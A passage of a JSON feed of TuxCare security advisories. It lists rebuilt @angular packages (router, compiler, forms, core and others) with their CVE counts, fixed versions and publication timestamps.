@angular/animations (3 CVEs)","description":"TuxCare rebuilt @angular/animations to address 3 CVEs. Fixed in 19.2.25-tuxcare.4.","status":"published","published":"2026-10-16T14:35:58Z","modified":"2026-10-16T16:30:29.984764451Z","updated_at":"2026-11-02T15:43:51.213191Z"},{"id":"CLSA-2026-1792163704","title":"TuxCare security update for @angular/router (3 CVEs)","description":"TuxCare rebuilt @angular/router to address 3 CVEs. Fixed in 12.2.17-tuxcare.11.","status":"published","published":"2026-10-16T15:15:04Z","modified":"2026-11-02T19:59:01.572537314Z","updated_at":"2026-11-02T20:21:30.928169Z"},{"id":"CLSA-2026-1792163749","title":"TuxCare security update for @angular/router (3 CVEs)","description":"TuxCare rebuilt @angular/router to address 3 CVEs. Fixed in 19.2.23-tuxcare.5.","status":"published","published":"2026-10-16T15:15:48Z","modified":"2026-11-02T19:58:30.35381464Z","updated_at":"2026-11-02T20:23:46.236467Z"},{"id":"CLSA-2026-1792163750","title":"TuxCare security update for @angular/router (6 CVEs)","description":"TuxCare rebuilt @angular/router to address 6 CVEs. Fixed in 19.2.18-tuxcare.1.","status":"published","published":"2026-10-16T15:15:50Z","modified":"2026-11-02T19:59:14.87436795Z","updated_at":"2026-11-02T20:20:19.355696Z"},{"id":"CLSA-2026-1792163751","title":"TuxCare security update for @angular/router (6 CVEs)","description":"TuxCare rebuilt @angular/router to address 6 CVEs. Fixed in 19.2.14-tuxcare.1.","status":"published","published":"2026-10-16T15:15:51Z","modified":"2026-11-02T19:58:53.800687411Z","updated_at":"2026-11-02T20:21:56.452101Z"},{"id":"CLSA-2026-1792163752","title":"TuxCare security update for @angular/router (6 CVEs)","description":"TuxCare rebuilt @angular/router to address 6 CVEs. Fixed in 18.2.13-tuxcare.1.","status":"published","published":"2026-10-16T15:15:52Z","modified":"2026-11-02T19:59:16.001140694Z","updated_at":"2026-11-02T20:20:08.411329Z"},{"id":"CLSA-2026-1792208231","title":"TuxCare security update for @angular/upgrade (3 CVEs)","description":"TuxCare rebuilt @angular/upgrade to address 3 CVEs. Fixed in 12.2.17-tuxcare.11.","status":"published","published":"2026-10-17T03:37:11Z","modified":"2026-11-02T19:58:42.196352628Z","updated_at":"2026-11-02T20:22:53.438589Z"},{"id":"CLSA-2026-1792208283","title":"TuxCare security update for @angular/upgrade (3 CVEs)","description":"TuxCare rebuilt @angular/upgrade to address 3 CVEs. Fixed in 19.2.23-tuxcare.5.","status":"published","published":"2026-10-17T03:38:03Z","modified":"2026-11-02T19:59:04.151355007Z","updated_at":"2026-11-02T20:21:15.745062Z"},{"id":"CLSA-2026-1792208321","title":"TuxCare security update for @angular/upgrade (3 CVEs)","description":"TuxCare rebuilt @angular/upgrade to address 3 CVEs. Fixed in 19.2.25-tuxcare.4.","status":"published","published":"2026-10-17T03:38:41Z","modified":"2026-10-17T07:01:05.526779244Z","updated_at":"2026-11-02T15:43:51.747192Z"},{"id":"CLSA-2026-1792208371","title":"TuxCare security update for @angular/upgrade (7 CVEs)","description":"TuxCare rebuilt @angular/upgrade to address 7 CVEs. Fixed in 19.2.14-tuxcare.3.","status":"published","published":"2026-10-17T03:39:30Z","modified":"2026-11-02T19:58:39.518381136Z","updated_at":"2026-11-02T20:23:06.991677Z"},{"id":"CLSA-2026-1792250310","title":"TuxCare security update for @angular/compiler (1 CVE)","description":"TuxCare rebuilt @angular/compiler to address 1 CVE. Fixed in 12.2.17-tuxcare.11.","status":"published","published":"2026-10-17T15:18:30Z","modified":"2026-11-10T19:45:19.313767714Z","updated_at":"2026-11-10T20:12:40.351566Z"},{"id":"CLSA-2026-1792250350","title":"TuxCare security update for @angular/compiler (1 CVE)","description":"TuxCare rebuilt @angular/compiler to address 1 CVE. Fixed in 19.2.23-tuxcare.5.","status":"published","published":"2026-10-17T15:19:08Z","modified":"2026-11-10T19:45:48.677471843Z","updated_at":"2026-11-10T20:12:31.252427Z"},{"id":"CLSA-2026-1792250372","title":"TuxCare security update for @angular/compiler (3 CVEs)","description":"TuxCare rebuilt @angular/compiler to address 3 CVEs. Fixed in 19.2.25-tuxcare.4.","status":"published","published":"2026-10-17T15:19:32Z","modified":"2026-10-17T19:01:29.844439363Z","updated_at":"2026-11-02T15:43:52.011757Z"},{"id":"CLSA-2026-1792250497","title":"TuxCare security update for @angular/compiler (1 CVE)","description":"TuxCare rebuilt @angular/compiler to address 1 CVE. Fixed in 19.2.14-tuxcare.3.","status":"published","published":"2026-10-17T15:21:34Z","modified":"2026-11-10T19:45:48.688018487Z","updated_at":"2026-11-10T20:12:31.252427Z"},{"id":"CLSA-2026-1792281313","title":"TuxCare security update for @angular/common (3 CVEs)","description":"TuxCare rebuilt @angular/common to address 3 CVEs. Fixed in 12.2.17-tuxcare.11.","status":"published","published":"2026-10-17T23:55:13Z","modified":"2026-11-02T19:58:51.811033313Z","updated_at":"2026-11-02T20:22:11.1598Z"},{"id":"CLSA-2026-1792281465","title":"TuxCare security update for @angular/common (3 CVEs)","description":"TuxCare rebuilt @angular/common to address 3 CVEs. Fixed in 19.2.25-tuxcare.4.","status":"published","published":"2026-10-17T23:57:45Z","modified":"2026-10-18T01:31:02.348164851Z","updated_at":"2026-11-02T15:43:52.288832Z"},{"id":"CLSA-2026-1792281551","title":"TuxCare security update for @angular/common (1 CVE)","description":"TuxCare rebuilt @angular/common to address 1 CVE. Fixed in 19.2.14-tuxcare.3.","status":"published","published":"2026-10-17T23:59:11Z","modified":"2026-11-10T19:45:35.812697336Z","updated_at":"2026-11-10T20:12:31.252427Z"},{"id":"CLSA-2026-1792325533","title":"TuxCare security update for @angular/compiler-cli (3 CVEs)","description":"TuxCare rebuilt @angular/compiler-cli to address 3 CVEs. Fixed in 12.2.17-tuxcare.11.","status":"published","published":"2026-10-18T12:12:13Z","modified":"2026-11-02T19:58:59.742908608Z","updated_at":"2026-11-02T20:21:33.036174Z"},{"id":"CLSA-2026-1792325627","title":"TuxCare security update for @angular/compiler-cli (4 CVEs)","description":"TuxCare rebuilt @angular/compiler-cli to address 4 CVEs. Fixed in 19.2.23-tuxcare.5.","status":"published","published":"2026-10-18T12:13:47Z","modified":"2026-11-02T19:58:36.329454442Z","updated_at":"2026-11-02T20:23:21.540308Z"},{"id":"CLSA-2026-1792325691","title":"TuxCare security update for @angular/compiler-cli (3 CVEs)","description":"TuxCare rebuilt @angular/compiler-cli to address 3 CVEs. Fixed in 19.2.25-tuxcare.4.","status":"published","published":"2026-10-18T12:14:51Z","modified":"2026-10-18T13:15:54.224572402Z","updated_at":"2026-11-02T15:43:52.545698Z"},{"id":"CLSA-2026-1792325785","title":"TuxCare security update for @angular/compiler-cli (8 CVEs)","description":"TuxCare rebuilt @angular/compiler-cli to address 8 CVEs. Fixed in 19.2.14-tuxcare.3.","status":"published","published":"2026-10-18T12:16:25Z","modified":"2026-11-02T19:58:51.728105173Z","updated_at":"2026-11-02T20:22:11.1598Z"},{"id":"CLSA-2026-1792345423","title":"TuxCare security update for @angular/core (1 CVE)","description":"TuxCare rebuilt @angular/core to address 1 CVE. Fixed in 19.2.23-tuxcare.5.","status":"published","published":"2026-10-18T17:43:43Z","modified":"2026-11-10T19:45:53.049119625Z","updated_at":"2026-11-10T20:12:31.252427Z"},{"id":"CLSA-2026-1792345466","title":"TuxCare security update for @angular/core (3 CVEs)","description":"TuxCare rebuilt @angular/core to address 3 CVEs. Fixed in 19.2.25-tuxcare.4.","status":"published","published":"2026-10-18T17:44:26Z","modified":"2026-10-18T19:15:55.232108588Z","updated_at":"2026-11-02T15:43:52.782414Z"},{"id":"CLSA-2026-1792345536","title":"TuxCare security update for @angular/core (1 CVE)","description":"TuxCare rebuilt @angular/core to address 1 CVE. Fixed in 19.2.14-tuxcare.3.","status":"published","published":"2026-10-18T17:45:36Z","modified":"2026-11-10T19:45:53.06831142Z","updated_at":"2026-11-10T20:12:31.252427Z"},{"id":"CLSA-2026-1792357436","title":"TuxCare security update for @angular/elements (3 CVEs)","description":"TuxCare rebuilt @angular/elements to address 3 CVEs. Fixed in 12.2.17-tuxcare.11.","status":"published","published":"2026-10-18T21:03:56Z","modified":"2026-11-02T19:58:28.134491841Z","updated_at":"2026-11-02T20:23:55.577236Z"},{"id":"CLSA-2026-1792357513","title":"TuxCare security update for @angular/elements (4 CVEs)","description":"TuxCare rebuilt @angular/elements to address 4 CVEs. Fixed in 19.2.23-tuxcare.5.","status":"published","published":"2026-10-18T21:05:13Z","modified":"2026-11-02T19:58:46.063424786Z","updated_at":"2026-11-02T20:22:33.689046Z"},{"id":"CLSA-2026-1792357566","title":"TuxCare security update for @angular/elements (3 CVEs)","description":"TuxCare rebuilt @angular/elements to address 3 CVEs. Fixed in 19.2.25-tuxcare.4.","status":"published","published":"2026-10-18T21:06:06Z","modified":"2026-10-19T07:45:51.714871972Z","updated_at":"2026-11-02T15:43:53.071325Z"},{"id":"CLSA-2026-1792357647","title":"TuxCare security update for @angular/elements (8 CVEs)","description":"TuxCare rebuilt @angular/elements to address 8 CVEs. Fixed in 19.2.14-tuxcare.3.","status":"published","published":"2026-10-18T21:07:27Z","modified":"2026-11-02T19:58:37.007378886Z","updated_at":"2026-11-02T20:23:16.654089Z"},{"id":"CLSA-2026-1792366676","title":"TuxCare security update for @angular/forms (3 CVEs)","description":"TuxCare rebuilt @angular/forms to address 3 CVEs. Fixed in 12.2.17-tuxcare.11.","status":"published","published":"2026-10-18T23:37:56Z","modified":"2026-11-02T19:58:51.826833992Z","updated_at":"2026-11-02T20:22:11.1598Z"},{"id":"CLSA-2026-1792366727","title":"TuxCare security update for @angular/forms (3 CVEs)","description":"TuxCare rebuilt @angular/forms to address 3 CVEs. Fixed in 19.2.23-tuxcare.5.","status":"published","published":"2026-10-18T23:38:47Z","modified":"2026-11-02T19:58:33.775240388Z","updated_at":"2026-11-02T20:23:44.164659Z"},{"id":"CLSA-2026-1792366760","title":"TuxCare security update for @angular/forms (3 CVEs)","description":"TuxCare rebuilt @angular/forms to address 3 CVEs. Fixed in 19.2.25-tuxcare.4.","status":"published","published":"2026-10-18T23:39:20Z","modified":"2026-10-19T07:46:18.214115012Z","updated_at":"2026-11-02T15:43:53.071325Z"},{"id":"CLSA-2026-1792366809","title":"TuxCare security update for @angular/forms (7 CVEs)","description":"TuxCare rebuilt @angular/forms to address 7 CVEs. Fixed in 19.2.14-tuxcare.3.","status":"published","published":"2026-10-18T23:40:05Z","modified":"2026-11-02T19:59:01.657330552Z","updated_at":"2026-11-02T20:21:30.928169Z"},{"id":"CLSA-2026-1792371740","title":"TuxCare security update for @angular/localize (3 CVEs)","description":"TuxCare rebuilt @angular/localize to address 3 CVEs. Fixed in 12.2.17-tuxcare.11.","status":"published","published":"2026-10-19T01:02:20Z","modified":"2026-11-02T19:59:16.097471258Z","updated_at":"2026-11-02T20:20:08.411329Z"}]},"sources_more":{"osv":19}}